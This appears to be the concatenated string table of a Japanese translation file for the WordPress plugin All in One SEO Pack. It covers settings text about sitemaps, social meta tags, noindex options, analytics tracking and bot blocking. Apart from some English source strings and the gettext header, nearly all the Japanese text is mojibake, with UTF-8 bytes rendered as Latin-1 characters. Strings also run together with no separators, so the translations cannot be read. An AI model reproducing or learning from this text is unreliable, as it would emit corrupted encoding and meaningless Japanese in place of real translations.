then you should deactivate this Social Meta feature in the Feature Manager.You must enter a valid License Key for it to work.You should avoid duplicate social meta tags. You can use these free tools from Facebook and Twitter to validate your social meta and check for errors:Your license has expired. Please %1$s click here %2$s to purchase a new one.Your site descriptionYour site titleYour sitemap has been created with content and images.a short whilearchive pagesauthor pagesdatedynamicfirst namefollowfrequencyhomepagehttps://semperplugins.com/all-in-one-seo-pack-pro-version/indexlast namemonthnicenamenofollownoindexpostsprioritysitemapsstatictaxonomiesthis is an XML Sitemap, meant to be consumed by search engines like Google or Bing.to upgrade to Pro Version and get:usernameview your XML sitemapyear{Temporarily unable to load feed.}PO-Revision-Date: 2019-07-03 18:46:10+0000 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=1; plural=0; X-Generator: GlotPress/2.4.0-alpha Language: ja_JP Project-Id-Version: Plugins - All in One SEO Pack - Stable (latest release) メガãƒã‚¤ãƒˆæ–‡å­—。ã»ã¨ã‚“ã©ã®æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã®%2$sã¯æœ€å¤§%1$s文字ã§ã™ã€‚%1$s %2$s ã¯æ–°æ©Ÿèƒ½ãŒã‚りã¾ã™ã€‚ã¾ãŸã€ãƒã‚°ä¿®æ­£ã€ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ãƒ¼å¼·åŒ–やパフォーマンスå‘ä¸Šã®æ–½ç­–ã‚’ã—ã¦ã„ã¾ã™ã€‚%1$s ã«ã‚ˆã£ã¦ %2$s ã® %3$s%1$s ã¯%2$s言語ã§ç¿»è¨³ã•れã¦ã„ã¾ã™ãŒã€ç¾åœ¨ %3$s ã®ç¿»è¨³çŽ‡ã¯ %4$s%ã§ã™ã€‚%5$sã“ã“をクリック%6$sã—ã¦100%ã«ãªã‚‹ã‚ˆã†ã”å”力ãã ã•ã„。機能リクエストã¾ãŸã¯ãƒã‚°ãƒ¬ãƒãƒ¼ãƒˆã‚’é€ä¿¡ã™ã‚‹ã«ã¯%1$sã“ã“をクリック%2$sã—ã¦ãã ã•ã„。%s デãƒãƒƒã‚°æƒ…å ±%s プラグイン設定%s ã«å«ã¾ã‚Œã‚‹ãƒ—ラグイン(複数å¯ï¼‰ã¾ãŸã¯ãƒ†ãƒ¼ãƒžã¯ã¾ãŸã€ã‚ãªãŸã®ã‚µã‚¤ãƒˆã«ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ã‚¿ã‚°ã‚’出力ã—ã¦ã„ã‚‹ã“ã¨ã‚’検出ã—ã¾ã—ãŸã€‚サイトã®ã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰å†…ã§ã“ã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ï¼ˆã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰ã‚’表示ã™ã‚‹æ–¹æ³•ã«ã¤ã„ã¦ã¯ã€ãƒ–ラウザーã®ãƒ˜ãƒ«ãƒ—を確èªã—ã¦ãã ã•ã„)表示ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚%s ã¯ã»ã¼æº–å‚™ãŒã§ãã¦ã„ã¾ã™ã€‚%sã¯ãƒ—レースホルダーã§ã™ã€‚ã¤ã¾ã‚Šã€ç¿»è¨³ã—ãªã„ã§ãã ã•ã„。 ã“れã¯ãƒ—ラグインã®åå‰ã€ All in One SEO Pack ã«ç½®ãæ›ãˆã‚‰ã‚Œã¾ã™ã€‚.htaccess.htaccess エディター404タイトルã®å½¢å¼:セキュリティ警告: ãƒ•ã‚¡ã‚¤ãƒ«ãŒæå‚·ã•れãŸã‚ˆã†ã«è¦‹ãˆã¾ã™ã€‚ä»»æ„ã®ã‚¹ã‚¯ãƒªãƒ—トインジェクションã®ãŸã‚ã®ãƒ•ァイルを確èªã—ã¦ãã ã•ã„。警告 : 行ãŒä¸€è‡´ã—ã¾ã›ã‚“ : "%1$s", On Line: %2$s警告 : æ¬¡ã®æŠ•ç¨¿ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—㟠: "%s"

分æžãƒ¬ã‚³ãƒ¼ãƒ‰ã‚’ %1$s ã‹ã‚‰ %2$s ã¸å¤‰æ›…ã“ã®ãƒšãƒ¼ã‚¸ã§é‡è¦ãªã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’カンマã§åŒºåˆ‡ã£ã¦ãƒªã‚¹ãƒˆã«ã—ãŸã‚‰ã€ META キーワードã¨ã—ã¦è¨­å®šã•れã¾ã™ã€‚ã“ã®ãƒšãƒ¼ã‚¸ã®ã‚¿ã‚¤ãƒˆãƒ«ã‚¿ã‚°ã«è¡¨ç¤ºã™ã‚‹ã‚«ã‚¹ã‚¿ãƒ ã‚¿ã‚¤ãƒˆãƒ«ã€‚ファイルãŒå­˜åœ¨ã—ã¾ã™ã€‚%sインãƒãƒ¼ãƒˆã—ã¦å‰Šé™¤%sã€%s削除%sã€ã¾ãŸã¯ä½¿ç”¨ã‚’ç¶šã‘ã¾ã™ã‹ ?æ—¢ã«ãƒ•ァイルãŒå­˜åœ¨ã—ã¾ã™ã€‚ã“ã®æ©Ÿèƒ½ã¯ä½¿ç”¨ã§ãã¾ã›ã‚“。ã“ã®ãƒšãƒ¼ã‚¸ãŒæ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã®æ¤œç´¢çµæžœã«ã©ã®ã‚ˆã†ã«è¦‹ãˆã‚‹ã‹ã®ãƒ—レビュー。ã“ã®ãƒ—ラグインã«ã¤ã„ã¦ãƒ—レミアムサãƒãƒ¼ãƒˆãƒ•ォーラムã«ã‚¢ã‚¯ã‚»ã‚¹ãƒŠãƒ¬ãƒƒã‚¸ã‚»ãƒ³ã‚¿ãƒ¼ã¸ã‚¢ã‚¯ã‚»ã‚¹ãƒ—レミアムサãƒãƒ¼ãƒˆãƒ•ォーラムã¸ã‚¢ã‚¯ã‚»ã‚¹ãƒ“デオスクリーンキャストã¸ã‚¢ã‚¯ã‚»ã‚¹ãƒ—ロ版ã«ã‚¢ãƒƒãƒ—グレードã—㦠SEO ã«ã¤ã„ã¦ã®ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«å‹•ç”»ã¸ã«ã‚¢ã‚¯ã‚»ã‚¹ä½¿ç”¨ä¸­ã®ãƒ—ラグインç¾åœ¨ã®ãƒ†ãƒ¼ãƒžã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティ俳優ルールを追加サイトã«ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ãƒ‡ãƒ¼ã‚¿ã‚’追加ã—ã¦ã€ã‚µã‚¤ãƒˆ/ブログã¨ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ãƒ‡ã‚£ã‚¢ã¨ã®ã‚ˆã‚Šç·Šå¯†ãªçµ±åˆã‚’実ç¾ã—ã¾ã™ã€‚URL を追加ウェブサイトã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ—ロフィール (Facebook, Twitter, Google +, Instagram, LinkedIn) ã‚’ã€1行ã«ã¤ã1URL 追加ã—ã¾ã™ã€‚追跡ã™ã‚‹ãŸã‚ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ãƒªã‚¹ãƒˆã‚’追加ã—ã¾ã™ã€‚ http:// ãªã—ã§1行ã«1ã¤ã®ãƒ‰ãƒ¡ã‚¤ãƒ³åを入力ã—ã¾ã™ã€‚レビューを追加Google ã§ã®æ¤œç´¢çµæžœã®æ¨ªã« Google ã®ã‚µã‚¤ãƒˆãƒªãƒ³ã‚¯æ¤œç´¢ãƒœãƒƒã‚¯ã‚¹ã‚’表示ã™ã‚‹ãŸã‚ã®ãƒžãƒ¼ã‚¯ã‚¢ãƒƒãƒ—を追加ã—ã¾ã™ã€‚ã“れらã®ãƒ—ロファイルを所有ã™ã‚‹å€‹äººã¾ãŸã¯çµ„ç¹”ã®åå‰ã‚’追加ã—ã¾ã™ã€‚追加㮠404 タイトル入力追加ドメイン:フロントページã®ãƒ˜ãƒƒãƒ€ãƒ¼è¿½åŠ ï¼šå›ºå®šãƒšãƒ¼ã‚¸ã®ãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ è¨˜å…¥è¿½åŠ ãƒšãƒ¼ã‚¸æŠ•ç¨¿ã®ãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ è¨˜å…¥è¿½åŠ æŠ•ç¨¿ãƒšãƒ¼ã‚¸ãƒ˜ãƒƒãƒ€ãƒ¼:高度ãªåˆ†æžã‚ªãƒ—ション : 詳細設定WooCommerce å‘ã‘ã®é«˜åº¦ãªã‚µãƒãƒ¼ãƒˆe-commerce å‘ã‘ã®é«˜åº¦ãªã‚µãƒãƒ¼ãƒˆã‚¢ãƒ«ãƒãƒ All In One SEO Packã™ã¹ã¦ã®æŠ•稿タイプã™ã¹ã¦ã®ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼All in One SEOAll in One SEO 設定を更新ã—ã¾ã—ãŸã€‚All in One SEO Pro プラグイン更新履歴All in One SEO Pro プラグインサãƒãƒ¼ãƒˆãƒ•ォーラムAll in One SEO ã¯ç„¡åŠ¹åŒ–ã•れã¦ã„ã¾ã™ã™ã¹ã¦ã®å€¤ã¯å¿…é ˆã§ã™ã€‚許å¯ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—å†…ã®æœ€å¤§æŠ•稿数を指定ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™(最大50,000)。著者ã¯ã€ãã®è¨˜äº‹ã®ãŸã‚オープングラフメタ上ã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„作æˆè€…ã¨ã—ã¦ã®è‡ªåˆ†ã® Facebook ã®ãƒšãƒ¼ã‚¸ã«ã‚ˆã£ã¦è­˜åˆ¥ã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ã—ã¾ã™ã€‚著者ã¯å½¼ã‚‰ã®è¨˜äº‹ã®ãŸã‚ã® Twitter ã®ã‚«ãƒ¼ãƒ‰ä¸Šã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„クリエイターã¨ã—ã¦ã® Twitter ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼åã«ã‚ˆã£ã¦è­˜åˆ¥ã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ã—ã¾ã™ã€‚分æžçµæžœåˆ†æžIPアドレスを匿å化 :アーカイブアーカイブページアーカイブã®ã‚¿ã‚¤ãƒˆãƒ«ãƒ•ォーマットウェブサイトã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ—ロフィールリンクã¯ã€å€‹äººã¨çµ„ç¹”ã©ã¡ã‚‰ã®ã‚‚ã®ã§ã™ã‹ ?記事記事ã®ã‚»ã‚¯ã‚·ãƒ§ãƒ³è¨˜äº‹ã®ã‚¿ã‚°åå‰ãŒç¤ºã™ã‚ˆã†ã«ã€ã“れã¯ã‚ãªãŸã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ãƒ¡ã‚¿ã‚¿ã‚¤ãƒˆãƒ«ã«ãªã‚Šã¾ã™ã€‚ã“れã¯ã€ä»–ã®ã‚ªãƒ—ションã¨ã¯ç„¡é–¢ä¿‚ã§ã™ã€‚設定ã•れã¦ã„ãªã„å ´åˆã¯ã€ï¼ˆ[設定]ã®ä¸‹ã® WordPress ã®ä¸€èˆ¬çš„ãªã‚µã‚¤ãƒˆã®ã‚¿ã‚¤ãƒˆãƒ«ï¼‰ãƒ‡ãƒ•ォルトã®ã‚µã‚¤ãƒˆã®ã‚¿ã‚¤ãƒˆãƒ«ãŒä½¿ç”¨ã•れã¾ã™ã€‚関連付ã‘られãŸåå‰ã‚¹ãƒãƒ¼ãƒ„鏿‰‹è‘—者投稿者アーカイブã®ã‚¿ã‚¤ãƒˆãƒ«å½¢å¼:著者ページディスクリプションを自動生æˆ:記事ã®ã‚¿ã‚°ã‚’自動生æˆã™ã‚‹æä¾›ã•れã¦ã„ãªã„ã¨ãã«ã€è‡ªå‹•的㫠Facebook ã®ã‚¿ã‚¤ãƒ—ã®è¨˜äº‹ã®è¨˜äº‹ã®ã‚¿ã‚°ã‚’生æˆã—ã¾ã™ã€‚悪æ„ã‚るボットã®ãƒ–ロッカーBaidu ウェブマスターツール:ãƒãƒ³ãƒ‰ãƒãƒ¼ã‚¤ãƒ³ãƒãƒ¼ãƒˆã‚’実行ã™ã‚‹å‰ã«ã€å¼·ãサイトã®ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を作æˆã™ã‚‹ã“ã¨ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—用㮠%1$s BackupBuddy %2$s ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚%s åˆå¿ƒè€…å‘ã‘ガイドソーシャルメディアモジュールã®åˆå¿ƒè€…å‘ã‘ガイドXML サイトマップモジュールã®åˆå¿ƒè€…å‘ã‘ガイドBing web マスターツール:HTTP を利用ã—ãŸæ‚ªè³ªãªãƒœãƒƒãƒˆã‚’ブロックHTTP を利用ã—ãŸãƒªãƒ•ァラスパムをブロックHTTP を利用ã—ãŸãƒªãƒ•ァラスパムをブロック。503 ã¨èª¤å‹•作ã™ã‚‹ã“ã¨ãŒçŸ¥ã‚‰ã‚Œã¦ã„るユーザエージェントã‹ã‚‰ã®ãƒ–ãƒ­ãƒƒã‚¯ã‚’è¦æ±‚。IP %1$s ã®ãƒ–ロックã—ãŸãƒœãƒƒãƒˆ -- %2$s ã¯ãƒ–ロックリストã§è¦‹ã¤ã‹ã£ãŸãƒªãƒ•ァラã«ä¸€è‡´ã—ã¾ã—ãŸã€‚IP %1$s ã®ãƒ–ロックã—ãŸãƒœãƒƒãƒˆ -- %2$s ã¯ãƒ–ロックリストã§è¦‹ã¤ã‹ã£ãŸãƒ¦ãƒ¼ã‚¶ã‚¨ãƒ¼ã‚¸ã‚§ãƒ³ãƒˆã«ä¸€è‡´ã—ã¾ã—ãŸã€‚本ã“ã“をクリックカフェキャンセルCanonical URL:カテゴリーカテゴリータイトルã®ãƒ•ォーマット: 社会的活動変更ã¯è‡ªå‹•çš„ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«æå‡ºã•れã¾ã™ã€‚%s ãƒªãƒªãƒ¼ã‚¹æŠ•ç¨¿ã®æ–°æ©Ÿèƒ½ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。ã“れをクリックã™ã‚‹ã¨ %s ã¯ãƒ—ラグインディレクトリã«é‡è¦ãªã‚¤ãƒ™ãƒ³ãƒˆã®ãƒ­ã‚°(all-in-one-seo-pack.log) をデãƒãƒƒã‚°ã®ãŸã‚ã«ä½œã‚Šã¾ã™ã€‚ã“ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã¯æ›¸ãè¾¼ã¿å¯èƒ½ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ã€ã‚·ãƒ§ãƒ¼ãƒˆã‚³ãƒ¼ãƒ‰ã¯ã€èª¬æ˜Žã®è‡ªå‹•生æˆã•れãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã‹ã‚‰å®Ÿè¡Œã•れã¾ã™ã€‚ã“れをãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€ã‚ãªãŸã®ãƒ¡ã‚¿ã‚¿ã‚¤ãƒ—ã¯æŠ•ç¨¿ã®æŠœç²‹ã‚’ä½¿ã£ã¦è‡ªå‹•çš„ã«ç”Ÿæˆã•れるã‹ã€æŠ•ç¨¿ã®æŠœç²‹ãŒãªã„å ´åˆã¯æŠ•ç¨¿ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã®æœ€åˆã®160文字ãŒè‡ªå‹•çš„ã«ç”Ÿæˆã•れã¾ã™ã€‚ 投稿ã¾ãŸã¯ãƒšãƒ¼ã‚¸ã‚’編集ã—ã¦ã€è‡ªå‹•生æˆã•れãŸãƒ¡ã‚¿è¨˜è¿°ã‚’上書ãã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ã€2ページã‹ã‚‰ä»¥é™ã®ãƒšãƒ¼ã‚¸ã®ãƒ¡ã‚¿è¨˜è¿°ã‚’削除ã•れã¾ã™ã€‚検索エンジンã«ã“ã®ãƒšãƒ¼ã‚¸ã‚’フォローã—ãªã„よã†ã«ä¾é ¼ã™ã‚‹ã«ã¯ã€ã“ã®ãƒœãƒƒã‚¯ã‚¹ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。検索エンジンã«ã“ã®ãƒšãƒ¼ã‚¸ã‚’インデックスã—ãªã„よã†ã«ä¾é ¼ã™ã‚‹ã«ã¯ã€ã“ã®ãƒœãƒƒã‚¯ã‚¹ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。Google アナリティクスã«å ±å‘Šã•れ㟠URL パスã®ä¸€è²«æ€§ã‚’確ä¿ã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。Google アナリティクスã§ã‚¤ãƒ™ãƒ³ãƒˆã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。ユーザー㌠Google アナリティクスã§ãƒšãƒ¼ã‚¸ã‚’スクロールã™ã‚‹ã¾ã§ã®è·é›¢ã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„Google アナリティクスã§ãƒšãƒ¼ã‚¸ãŒå¯è¦–状態ã«ãªã£ã¦ã„る時間をトラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。Facebook ã‚„ Twitter ã®å…¬å¼ã‚¦ã‚£ã‚¸ã‚§ãƒƒãƒˆã¨ Google アナリティクスã¨ã®ã‚„りã¨ã‚Šã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。Google アナリティクスã§ã®ãƒ¡ãƒ‡ã‚£ã‚¢ã‚¯ã‚¨ãƒªã®ä¸€è‡´ã¨ã‚¯ã‚¨ãƒªã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。Google アナリティクスã§é€ä¿¡ãƒ•ォームをトラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。Google Analytics ã¨ã®ã‚¢ã‚¦ãƒˆãƒã‚¦ãƒ³ãƒ‰ãƒªãƒ³ã‚¯ã‚’追跡ã—ãŸã„å ´åˆã¯ã€ã“れを確èªã—ã¦ãã ã•ã„。Google アナリティクスã§å˜ä¸€ã®å›ºå®šãƒšãƒ¼ã‚¸ã® URL ã®å¤‰æ›´ã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。Google アナリティクスã§ãƒ“ューãƒãƒ¼ãƒˆå†…ã®ã‚¨ãƒ¬ãƒ¡ãƒ³ãƒˆãŒã„ã¤è¡¨ç¤ºã•れるã‹ã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。(編集後ã®ç”»é¢ã§æŒ‡å®šã—ãŸã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã«åŠ ãˆã¦ï¼‰æŠ•稿ã®ãƒ¡ã‚¿ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã¨ã—ã¦ã‚«ãƒ†ã‚´ãƒªãƒ¼åを使用ã—ãŸã„å ´åˆã¯ã€ã“れを確èªã—ã¦ãã ã•ã„。投稿ページã«ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’ã—ãŸã„å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¾ã™ï¼ˆ[設定]ã®ä¸‹ã®ãƒ¯ãƒ¼ãƒ‰ãƒ—レスã§è¨­å®šã—ã€èª­æ›¸ã¯ã€ãƒ•ロントページã®è¡¨ç¤ºï¼‰ã‚„アーカイブページãŒå‹•çš„ã«ãã®ãƒšãƒ¼ã‚¸ã«è¡¨ç¤ºæŠ•稿ã®ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‹ã‚‰ç”Ÿæˆã•れã¾ã™ã€‚ãƒã‚§ãƒƒã‚¯ã—ãªã„å ´åˆã¯ã€æŠ•稿ページã®ç·¨é›†ãƒšãƒ¼ã‚¸ç”»é¢ã§è¨­å®šã—ãŸã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’使用ã—ã¾ã™ã€‚(編集後ã®ç”»é¢ã§æŒ‡å®šã—ãŸã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã«åŠ ãˆã¦ï¼‰æŠ•稿ã®ãƒ¡ã‚¿ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã¨ã—ã¦ã‚¿ã‚°ã‚’使用ã—ãŸã„å ´åˆã¯ã€ã“れを確èªã—ã¦ãã ã•ã„。SEO 設定ã«ç°¡å˜ã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ãŸã‚ã«ãƒ„ールãƒãƒ¼ã«%sを追加ã™ã‚‹ã«ã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。ページãƒã‚¤ã‚·ãƒ§ãƒ³ã®ãƒšãƒ¼ã‚¸ã® follow リンクをアーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚投稿者アーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚カテゴリーアーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹ã«ã¯ã€ã“れを確èªã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚日付アーカイブページインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚タグアーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚カスタムタクソノミーアーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚ページãƒã‚¤ã‚·ãƒ§ãƒ³ã®ãƒšãƒ¼ã‚¸ã‚’インデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚検索エンジン対㗠404 ページをインデックスã—ãªã„ã‚ˆã†æ”¯æŒã—ãŸã„å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã‚’入れã¦ãã ã•ã„。検索ページをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ã€ä¸æ­£ãªãƒœãƒƒãƒˆã‚’ブロックã™ã‚‹ãŸã‚ã«è¨±å¯ã•れã¦ã„ãªã„ユーザエージェントã®ãƒªã‚¹ãƒˆã‚’編集ã—ã¾ã™ã€‚ã“れをãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€ %s メニュー項目㌠WordPress ダッシュボードメニューã®ä¸€ç•ªä¸Šã«ç§»å‹•ã—ã¾ã™ã€‚説明ã®é•·ã•ã«ã‹ã‹ã‚らãšã€èª¬æ˜Žæ–‡ã‚’切りæ¨ã¦ã‚‰ã‚Œã‚‹ã®ã‚’防ãå ´åˆã¯ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。Schema.org markup をサãƒãƒ¼ãƒˆã™ã‚‹å ´åˆã¯ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。ã™ãªã‚ã¡ã€ itemprop ã®ã‚µãƒãƒ¼ãƒˆã•れã¦ã„るメタデータ。XMLRPCを使用ã™ã‚‹ãŸã‚ã«å†…部ãƒã‚¹ãƒˆãƒ¡ã‚¿ãƒ•ィールドã®ä¿è­·ã‚’解除ã™ã‚‹ã«ã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。ã“れãŒä½•ã§ã‚ã‚‹ã‹ã‚ã‹ã‚‰ãªã„å ´åˆã€ã‚ªãƒ•ã®ã¾ã¾ã«ã—ã¦ãã ã•ã„。高度㪠Google Analytics ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。ã“ã®ãƒœãƒƒã‚¯ã‚¹ã‚’ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€ %s ã®ä¸€èˆ¬è¨­å®šã§è¨­å®šã•れãŸã‚¿ã‚¤ãƒˆãƒ«ã¨èª¬æ˜Žã‚’〠Open Graph ã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ã‚¿ã‚¤ãƒˆãƒ«ã¨èª¬æ˜Žã¨ã—ã¦ä½¿ç”¨ã™ã‚‹ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションをãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€å›ºå®šãƒ•ロントページã®ã‚¿ã‚¤ãƒˆãƒ«ã€ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションã€ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ãŒä½¿ç”¨ã•れã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションをãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€æœ€åˆã®ãƒšãƒ¼ã‚¸ã¸ã®ã™ã¹ã¦ã®ãƒšãƒ¼ã‚¸åˆ†å‰²ã•れãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã® Canonical URL を設定ã—ã¾ã™ã€‚投稿タイプã®å†…容を最もよã説明ã™ã‚‹ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆå€¤ã‚’é¸æŠžã—ã¾ã™ã€‚ãƒ—ãƒ©ãƒƒãƒˆãƒ•ã‚©ãƒ¼ãƒ ã‚’é¸æŠž:市区町æ‘インãƒãƒ¼ãƒˆã•れãŸãƒ¬ã‚³ãƒ¼ãƒ‰ã®æ•°ã¨ä¸€ç·’ã«ã€ %s ã«ã‚¤ãƒ³ãƒãƒ¼ãƒˆã§ãã‚‹ SEO データã®ãƒªã‚¹ãƒˆã®ãŸã‚ã«"分æž" をクリックã—ã¾ã™ã€‚インãƒãƒ¼ãƒˆã‚’実行ã™ã‚‹ãŸã‚ã«"変æ›"をクリックã—ã¦ãã 